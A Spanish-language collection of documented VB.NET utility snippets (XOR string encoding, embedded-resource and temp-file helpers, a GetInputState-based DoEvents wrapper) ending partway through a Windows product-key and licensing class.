''' <param name="key">
''' The key to use for encryption of decryption.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The encrypted string.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function XorEncryptOrDecrypt(ByVal text As String, ByVal key As Integer) As String
Dim sb As New StringBuilder(text.Length, text.Length)
For Each c As Char In text
' Get the ASCII value of the character.
Dim charValue As Integer = Convert.ToInt32(c)
' XOR the value.
charValue = (charValue Xor key)
' Convert back to string.
sb.Append(Char.ConvertFromUtf32(charValue))
Next
Return sb.ToString()
End Function
Modo de empleo:
Dim str As String = "Hello World"
Dim encrypted As String = XorEncryptOrDecrypt(str, 1) ' Result: "Idmmn!Vnsme"
Dim decrypted As String = XorEncryptOrDecrypt(encrypted, 1) ' Result: "Hello World"
Obtener un array con los bytes del archivo de la aplicación actual
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the bytes of the local file that points to the running assembly.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' A <see cref="Byte()"/> array containing the bytes of the local file that points to the running assembly.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Shared ReadOnly Property SelfBytes As Byte()
<DebuggerStepThrough>
Get
Using fs As FileStream = File.OpenRead(System.Windows.Forms.Application.ExecutablePath)
Dim exeBytes As Byte() = New Byte(CInt(fs.Length - 1)) {}
fs.Read(exeBytes, 0, exeBytes.Length)
Return exeBytes
End Using
End Get
End Property
Modo de empleo:
Dim selfBytes As Byte() = SelfBytes()
Obtener recursos embedidos en un ensamblado .NET
Partial Public NotInheritable Class ResourceUtil
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets an embedded resource in the specified <see cref="Assembly"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="name">
''' The name of the resource.
''' </param>
'''
''' <param name="ass">
''' The <see cref="Assembly"/> to look for the resource.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' A <see cref="Byte()"/> array containing the bytes of the embedded resource.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Function GetEmbeddedResource(ByVal name As String, ByVal ass As Assembly) As Byte()
name = ResourceUtil.FormatResourceName(name, ass)
Using resx As Stream = ass.GetManifestResourceStream(name)
If (resx Is Nothing) Then
Throw New Exception("Resource not found in the specified .NET assembly.")
Else
Dim content As Byte() = New Byte(CInt(resx.Length - 1)) {}
resx.Read(content, 0, content.Length)
Return content
End If
End Using
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets an embedded resource in the calling assembly.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="name">
''' The name of the resource.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' A <see cref="Byte()"/> array containing the bytes of the embedded resource.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Function GetEmbeddedResource(ByVal name As String) As Byte()
Return ResourceUtil.GetEmbeddedResource(name, Assembly.GetCallingAssembly())
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets an embedded resource of type <see cref="String"/> in the specified <see cref="Assembly"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="name">
''' The name of the resource.
''' </param>
'''
''' <param name="ass">
''' The <see cref="Assembly"/> to look for the resource.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The embedded resource as <see cref="String"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Function GetEmbeddedResourceAsString(ByVal name As String, ByVal ass As Assembly, Optional ByVal enc As Encoding = Nothing) As String
If (enc Is Nothing) Then
enc = Encoding.Default
End If
name = ResourceUtil.FormatResourceName(name, ass)
Using resx As Stream = ass.GetManifestResourceStream(name)
If (resx Is Nothing) Then
Throw New Exception("Resource not found in the specified .NET assembly.")
Else
Using reader As New StreamReader(resx, enc)
Return reader.ReadToEnd()
End Using
End If
End Using
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets an embedded resource of type <see cref="String"/> in the calling assembly.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="name">
''' The name of the resource.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The embedded resource as <see cref="String"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Function GetEmbeddedResourceAsString(ByVal name As String, Optional ByVal enc As Encoding = Nothing) As String
Return ResourceUtil.GetEmbeddedResourceAsString(name, Assembly.GetCallingAssembly(), enc)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets an embedded resource of type <see cref="Image"/> in the specified <see cref="Assembly"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="name">
''' The name of the resource.
''' </param>
'''
''' <param name="ass">
''' The <see cref="Assembly"/> to look for the resource.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The embedded resource as <see cref="Image"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Function GetEmbeddedResourceAsImage(ByVal name As String, ByVal ass As Assembly) As Image
name = ResourceUtil.FormatResourceName(name, ass)
Using resx As Stream = ass.GetManifestResourceStream(name)
If (resx Is Nothing) Then
Throw New Exception("Resource not found in the specified .NET assembly.")
Else
Using ms As New MemoryStream()
resx.CopyTo(ms)
Return Image.FromStream(ms)
End Using
End If
End Using
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets an embedded resource of type <see cref="Image"/> in the calling assembly.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="name">
''' The name of the resource.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The embedded resource as <see cref="Image"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Function GetEmbeddedResourceAsImage(ByVal name As String) As Image
Return ResourceUtil.GetEmbeddedResourceAsImage(name, Assembly.GetCallingAssembly())
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Formats a resource name.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="name">
''' The name of the resource.
''' </param>
'''
''' <param name="ass">
''' The assembly that contains the resource.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting formatted resource name.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Private Shared Function FormatResourceName(ByVal name As String, ByVal ass As Assembly) As String
Return String.Format("{0}.{1}", ass.GetName().Name, name.Replace(" ", "_").
Replace("\", ".").
Replace("/", "."))
End Function
End Class
Ejemplo de uso para la aplicación actual:
Dim data As Byte() = GetEmbeddedResource("file.txt")
Dim dataAsString As String = Encoding.Default.GetString(data)
Dim str As String = GetEmbeddedResourceAsString("file.txt", Encoding.Default)
Dim img As Image = GetEmbeddedResourceAsImage("file.png")
Ejemplo de uso con un ensamblado específico:
Dim data As Byte() = GetEmbeddedResource("file.txt", Assembly.GetCallingAssembly())
Dim dataAsString As String = Encoding.Default.GetString(data)
Dim str As String = GetEmbeddedResourceAsString("file.txt", Assembly.GetCallingAssembly(), Encoding.Default)
Dim img As Image = GetEmbeddedResourceAsImage("file.png", Assembly.GetCallingAssembly())
Todas estas funcionalidades y muchísimas más las podrán encontrar en mi Framework ElektroKit.
Pausar la ejecución de la consola hasta que se pulse cierta tecla...
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Pause the console execution Indefinitely until any key is pressed.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Sub Pause()
Console.ReadKey(intercept:=True)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Pause the console execution Indefinitely until the specified key is pressed.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="key">
''' The key to wait for.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Sub Pause(ByVal key As Keys)
Dim keyInfo As ConsoleKeyInfo
Do Until (keyInfo.Key = key)
keyInfo = Console.ReadKey(intercept:=True)
Loop
End Sub
Modo de empleo:
Console.WriteLine("Press any key to exit...")
Pause()
Environment.Exit(0)
Dim key As Keys = Keys.Enter
Dim keyName As String = [Enum].GetName(GetType(Keys), key)
Console.WriteLine(String.Format("Press '{0}' key to continue...", keyName))
Pause(key)
Console.WriteLine("Well done.")
Un puñado de funciones para extender las posibilidades de la función built-in System.IO.Path.GetTempFileName()
Modo de empleo:
Dim tmpFile1 As FileInfo = GetTempFile()
Dim tmpFile2 As FileInfo = GetTempFile("txt")
Dim tmpFile3 As FileInfo = GetTempFile(SpecialFolder.LocalApplicationData)
Dim tmpFile4 As FileInfo = GetTempFile(SpecialFolder.LocalApplicationData, "txt")
Dim tmpFile5 As FileInfo = GetTempFile(New DirectoryInfo("C:\Folder\"))
Dim tmpFile6 As FileInfo = GetTempFile(New DirectoryInfo("C:\Folder\"), "txt")
Dim tmpFile7 As FileInfo = GetTempFile("C:\Folder\", "txt")
Dim tmpFilePath1 As String = GetTempFileName()
Dim tmpFilePath2 As String = GetTempFileName("txt")
Dim tmpFilePath3 As String = GetTempFileName(SpecialFolder.LocalApplicationData)
Dim tmpFilePath4 As String = GetTempFileName(SpecialFolder.LocalApplicationData, "txt")
Dim tmpFilePath5 As String = GetTempFileName(New DirectoryInfo("C:\Folder\"))
Dim tmpFilePath6 As String = GetTempFileName(New DirectoryInfo("C:\Folder\"), "txt")
Dim tmpFilePath7 As String = GetTempFileName("C:\Folder\", "txt")
Código fuente:
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Creates a uniquely named, zero-byte temporary file on the system's default temporary folder
''' and returns the file.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim tmpFile As FileInfo = GetTempFile()
''' Console.WriteLine(tmpFile.FullName)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="FileInfo"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetTempFile() As FileInfo
Return New FileInfo(Path.GetTempFileName())
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Creates a uniquely named, zero-byte temporary file on the specified folder
''' and returns the file.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim tmpFile As FileInfo = GetTempFile(SpecialFolder.LocalApplicationData)
''' Console.WriteLine(tmpFile.FullName)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="folder">
''' The folder where to create the temporary file.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="FileInfo"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetTempFile(ByVal folder As SpecialFolder) As FileInfo
Return GetTempFile(Environment.GetFolderPath(folder), "tmp")
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Creates a uniquely named, zero-byte temporary file on the specified folder
''' and returns the file.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim tmpFile As FileInfo = GetTempFile(New DirectoryInfo("C:\Folder\"))
''' Console.WriteLine(tmpFile.FullName)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="dir">
''' The folder where to create the temporary file.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="FileInfo"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetTempFile(ByVal dir As DirectoryInfo) As FileInfo
Return GetTempFile(dir.FullName, "tmp")
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Creates a uniquely named, zero-byte temporary file on the system's default temporary folder with the specified file extension
''' and returns the file.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim tmpFile As FileInfo = GetTempFile("txt")
''' Console.WriteLine(tmpFile.FullName)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="extension">
''' The file extension to assign to the temporary file.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="FileInfo"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="ArgumentNullException">
''' extension
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetTempFile(ByVal extension As String) As FileInfo
Return GetTempFile(Environment.GetFolderPath(SpecialFolder.LocalApplicationData), extension)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Creates a uniquely named, zero-byte temporary file on the specified folder with the specified file extension
''' and returns the file.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim tmpFile As FileInfo = GetTempFile(SpecialFolder.LocalApplicationData, "txt")
''' Console.WriteLine(tmpFile.FullName)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="folder">
''' The folder where to create the temporary file.
''' </param>
'''
''' <param name="extension">
''' The file extension to assign to the temporary file.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="FileInfo"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="ArgumentNullException">
''' extension
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetTempFile(ByVal folder As SpecialFolder, ByVal extension As String) As FileInfo
Return GetTempFile(Environment.GetFolderPath(folder), extension)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Creates a uniquely named, zero-byte temporary file on the specified folder with the specified file extension
''' and returns the file.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim tmpFile As FileInfo = GetTempFile(New DirectoryInfo("C:\Folder\"), "txt")
''' Console.WriteLine(tmpFile.FullName)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="dir">
''' The folder where to create the temporary file.
''' </param>
'''
''' <param name="extension">
''' The file extension to assign to the temporary file.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="FileInfo"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="ArgumentNullException">
''' extension
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetTempFile(ByVal dir As DirectoryInfo, ByVal extension As String) As FileInfo
Return GetTempFile(dir.FullName, extension)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Creates a uniquely named, zero-byte temporary file on the specified folder with the specified file extension
''' and returns the file.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim tmpFile As FileInfo = GetTempFile("C:\Folder\", "txt")
''' Console.WriteLine(tmpFile.FullName)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="dirPath">
''' The full path of the folder where to create the temporary file.
''' </param>
'''
''' <param name="extension">
''' The file extension to assign to the temporary file.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="FileInfo"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="ArgumentNullException">
''' dirPath or extension
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetTempFile(ByVal dirPath As String, ByVal extension As String) As FileInfo
If String.IsNullOrWhiteSpace(dirPath) Then
Throw New ArgumentNullException("dirPath")
ElseIf String.IsNullOrWhiteSpace(extension) Then
Throw New ArgumentNullException("extension")
Else
Dim dir As New DirectoryInfo(dirPath)
If Not (dir.Exists) Then
Try
dir.Create()
Catch ex As Exception
Throw
Return Nothing
End Try
End If
Dim tmpFile As FileInfo = Nothing
Dim newFilePath As String
Dim defaultFolderPath As String = Environment.GetFolderPath(SpecialFolder.LocalApplicationData)
Dim defaultFileExtension As String = "tmp"
Do
If (tmpFile IsNot Nothing) AndAlso (tmpFile.Exists) Then
tmpFile.Delete()
End If
tmpFile = New FileInfo(Path.GetTempFileName())
If Not (dir.FullName.Equals(defaultFolderPath, StringComparison.OrdinalIgnoreCase)) Then
newFilePath = Path.Combine(dir.FullName, tmpFile.Name)
Else
newFilePath = tmpFile.FullName
End If
If Not (extension.Equals(defaultFileExtension, StringComparison.OrdinalIgnoreCase)) Then
newFilePath = Path.ChangeExtension(newFilePath, extension)
End If
Loop Until (newFilePath.Equals(tmpFile.FullName, StringComparison.OrdinalIgnoreCase)) OrElse Not File.Exists(newFilePath)
tmpFile.MoveTo(newFilePath)
tmpFile.Refresh()
Return tmpFile
End If
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Creates a uniquely named, zero-byte temporary file on the system's default temporary folder
''' and returns the file path.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim tmpFile As String = GetTempFileName()
''' Console.WriteLine(tmpFile)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The full path of the temporary file.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetTempFileName() As String
Return Path.GetTempFileName()
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Creates a uniquely named, zero-byte temporary file on the specified folder
''' and returns the file path.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim tmpFile As String = GetTempFileName(SpecialFolder.LocalApplicationData)
''' Console.WriteLine(tmpFile)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="folder">
''' The folder where to create the temporary file.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The full path of the temporary file.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetTempFileName(ByVal folder As SpecialFolder) As String
Return GetTempFile(Environment.GetFolderPath(folder), "tmp").FullName
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Creates a uniquely named, zero-byte temporary file on the specified folder
''' and returns the file path.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim tmpFile As String = GetTempFileName(New DirectoryInfo("C:\Folder\"))
''' Console.WriteLine(tmpFile)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="dir">
''' The folder where to create the temporary file.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The full path of the temporary file.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetTempFileName(ByVal dir As DirectoryInfo) As String
Return GetTempFile(dir.FullName, "tmp").FullName
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Creates a uniquely named, zero-byte temporary file on the system's default temporary folder with the specified file extension
''' and returns the file path.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim tmpFile As String = GetTempFileName("txt")
''' Console.WriteLine(tmpFile)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="extension">
''' The file extension to assign to the temporary file.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The full path of the temporary file.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="ArgumentNullException">
''' extension
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetTempFileName(ByVal extension As String) As String
Return GetTempFile(Environment.GetFolderPath(SpecialFolder.LocalApplicationData), extension).FullName
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Creates a uniquely named, zero-byte temporary file on the specified folder with the specified file extension
''' and returns the file path.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim tmpFile As String = GetTempFileName(SpecialFolder.LocalApplicationData, "txt")
''' Console.WriteLine(tmpFile)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="folder">
''' The folder where to create the temporary file.
''' </param>
'''
''' <param name="extension">
''' The file extension to assign to the temporary file.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The full path of the temporary file.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="ArgumentNullException">
''' extension
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetTempFileName(ByVal folder As SpecialFolder, ByVal extension As String) As String
Return GetTempFile(Environment.GetFolderPath(folder), extension).FullName
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Creates a uniquely named, zero-byte temporary file on the specified folder with the specified file extension
''' and returns the file path.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim tmpFile As String = GetTempFileName(New DirectoryInfo("C:\Folder\"), "txt")
''' Console.WriteLine(tmpFile)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="dir">
''' The folder where to create the temporary file.
''' </param>
'''
''' <param name="extension">
''' The file extension to assign to the temporary file.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The full path of the temporary file.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="ArgumentNullException">
''' extension
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetTempFileName(ByVal dir As DirectoryInfo, ByVal extension As String) As String
Return GetTempFile(dir.FullName, extension).FullName
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Creates a uniquely named, zero-byte temporary file on the specified folder with the specified file extension
''' and returns the file path.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim tmpFile As String = GetTempFileName("C:\Folder\", "txt")
''' Console.WriteLine(tmpFile)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="dirPath">
''' The full path of the folder where to create the temporary file.
''' </param>
'''
''' <param name="extension">
''' The file extension to assign to the temporary file.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The full path of the temporary file.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="ArgumentNullException">
''' dirPath or extension
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetTempFileName(ByVal dirPath As String, ByVal extension As String) As String
Return GetTempFile(dirPath, extension).FullName
End Function
Método Application.DoEvents() perfeccionado
Muchos programadores de VB.NET a veces se encuentran en un escenario de programación en el que deben realizar una operación asincrónica, pero en lugar de implementar el modo correcto de programación asincrónica suelen llamar al método Application.DoEvents() con la intención de esperar a que dicha operación asincrónica termine y evitar el bloqueo en el hilo de la interfáz gráfica. Esto se suele hacer decorando la llamada a dicho método usando un búcle, por ejemplo:
Do While (condición)
Application.DoEvents()
Loop
Sin embargo, hacer llamadas consecutivas a dicho método en un tiempo de intervalo demasiado corto (como en el búcle de arriba) causará un exceso muy importante de consumo de recursos en el equipo, puesto que basicamente lo que hace el método Application.DoEvents() es recibir, procesar, y despachar todos los mensajes pendientes en la cola, y no lo hace de forma selectiva, así que se procesan todos los mensajes de entrada/input, de dibujado/paint, los eventos, y etc, una y otra vez.
El método Application.DoEvents() tiene un propósito muy distinto del que realmente se le suele dar, y hay muchas formas de evitar tener que usar dicho método, pero no entraremos en esos temas ahora. Lo que explicaré será como poder mejorar el rendimiento y la responsabilidad de nuestra aplicación en un 90% al usar el método Application.DoEvents() cuando se le pretenda dar el uso que se ha explicado al principio.
Puesto que el método Application.DoEvents() se suele utilizar para aumentar la respuesta de la UI en una iteración intensiva, lo más apropiado para aumentar el rendimiento sería comprobar si existen mensajes de entrada (teclado o ratón) en la cola de mensajes del hilo de la UI antes de llamar a Application.DoEvents(). Y para ello existe una función Win32 a la que podemos recurrir presicamente para obtener un valor que nos diga si hay mensajes que se deban procesar o no los hay. La función se llama GetInputState, y en fin, todo esto que acabo de explicar quedaría implementado así:
''' <summary>
''' Determines whether there are mouse-button or keyboard messages in the calling thread's message queue.
''' </summary>
''' <remarks>
''' <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms644935(v=vs.85).aspx"/>
''' </remarks>
''' <returns>
''' If the queue contains one or more new mouse-button or keyboard messages, the return value is <see langword="True"/>.
''' <para></para>
''' If there are no new mouse-button or keyboard messages in the queue, the return value is <see langword="False"/>.
''' </returns>
<SuppressUnmanagedCodeSecurity>
<DllImport("user32.dll", SetLastError:=False)>
Private Shared Function GetInputState() As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
''' <summary>
''' Processes all Windows messages currently in the message queue of the application.
''' <para></para>
''' This method greatly boosts the performance of any application in difference to <see cref="Application.DoEvents()"/> method.
''' <para></para>
''' When calling <see cref="Application.DoEvents()"/> to make the UI responsive, it generally decreases application performance;
''' <para></para>
''' however, using this method, we make sure there is at least one input event (keyboard or mouse) that needs to be processed before internally calling <see cref="Application.DoEvents()"/>.
''' </summary>
Public Shared Sub DoEvents()
If GetInputState() Then
Global.System.Windows.Forms.Application.DoEvents()
End If
End Sub
Modo de empleo:
Do While True
DoEvents()
Loop
¿Cómo obtener la clave de producto instalada en Windows, o instalar un archivo de licencia, o una clave de producto de Windows, y como desinstalar la clave o eliminarla del registro de Windows?.
He desarrollado la siguiente clase para poder efectuar algunas operacioens básicas de licencia y activación en Windows, como instalar un archivo de licencia, obtener la clave de producto instalada en Windows, instalar una nueva clave de producto de Windows, desinstalarla o eliminarla del registro de Windows (tal como hace la herramienta slmgr.vbs /cpky de Microsoft).
Lo he probado en Windows 10 x64, sin problemas. En teoría debería funcionar desde Windows 7 para adelante, y versiones Windows Server desde la 2008 R2 para adelante.
Todo el código fuente está documentado y además los miembros incluyen ejemplos de uso documentados, no creo que haga falta explicar mucho más.
' ***********************************************************************
' Author : Elektro
' Modified : 01-June-2017
' ***********************************************************************
#Region " Public Members Summary "
#Region " Properties "
' ProductId As String
' ProductKey As String
#End Region
#Region " Methods "
' InstallLicense(String)
' InstallLicense(FileInfo)
' InstallProductKey(String)
' UninstallProductKey()
' RemoveProductKeyFromRegistry()
' RefreshLicenseStatus()
#End Region
#End Region
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
Imports Microsoft.Win32
Imports System.IO
Imports System.Management
Imports System.Runtime.InteropServices
' Imports Elektro.Core.Types
#End Region
#Region " Licensing Util "
' Namespace Tools.Shell
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains Windows licensing related utilities.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public NotInheritable Class Licensing ' : Inherits AestheticObject
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Prevents a default instance of the <see cref="Licensing"/> class from being created.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerNonUserCode>
Private Sub New()
End Sub
#End Region
#Region " Properties "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the Windows product identifier of the current operating system.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim productId As String = ProductId()
''' Console.WriteLine(productId)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The Windows product identifier.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Shared ReadOnly Property ProductId As String
<DebuggerStepThrough>
Get
Return Licensing.GetWindowsProductId()
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the Windows product key of the current operating system.
''' <para></para>
''' Note that the value could be <see langword="Nothing"/> in case of the product key was
''' completely removed from the Windows Registry (eg. using tools like <c>slmgr.vbs /cpky</c>).
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Credits to: <see href="https://github.com/mrpeardotnet/WinProdKeyFinder"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim productKey As String = ProductKey()
''' Console.WriteLine(productKey)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The Windows product key, or <see langword="Nothing"/> in case of the product key was
''' completely removed from the Windows Registry (eg. using tools like <c>slmgr.vbs /cpky</c>).
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Shared ReadOnly Property ProductKey As String
<DebuggerStepThrough>
Get
Return Licensing.GetWindowsProductKey()
End Get
End Property
#End Region
#Region " Public Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Installs a Windows license on the current operating system.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' <see href="https://msdn.microsoft.com/en-us/library/cc534589(v=vs.85).aspx"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim licFilepath As String = "C:\License.lic"
''' InstallLicense(licFilepath)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="licFilepath">
''' The license file path.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Sub InstallLicense(ByVal licFilepath As String)
Licensing.InstallLicense(New FileInfo(licFilepath))
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Installs a Windows license on the current operating system.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' <see href="https://msdn.microsoft.com/en-us/library/cc534589(v=vs.85).aspx"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim licFile As New FileInfo("C:\License.lic")
''' InstallLicense(licFile)
''' </code>
''' </example>
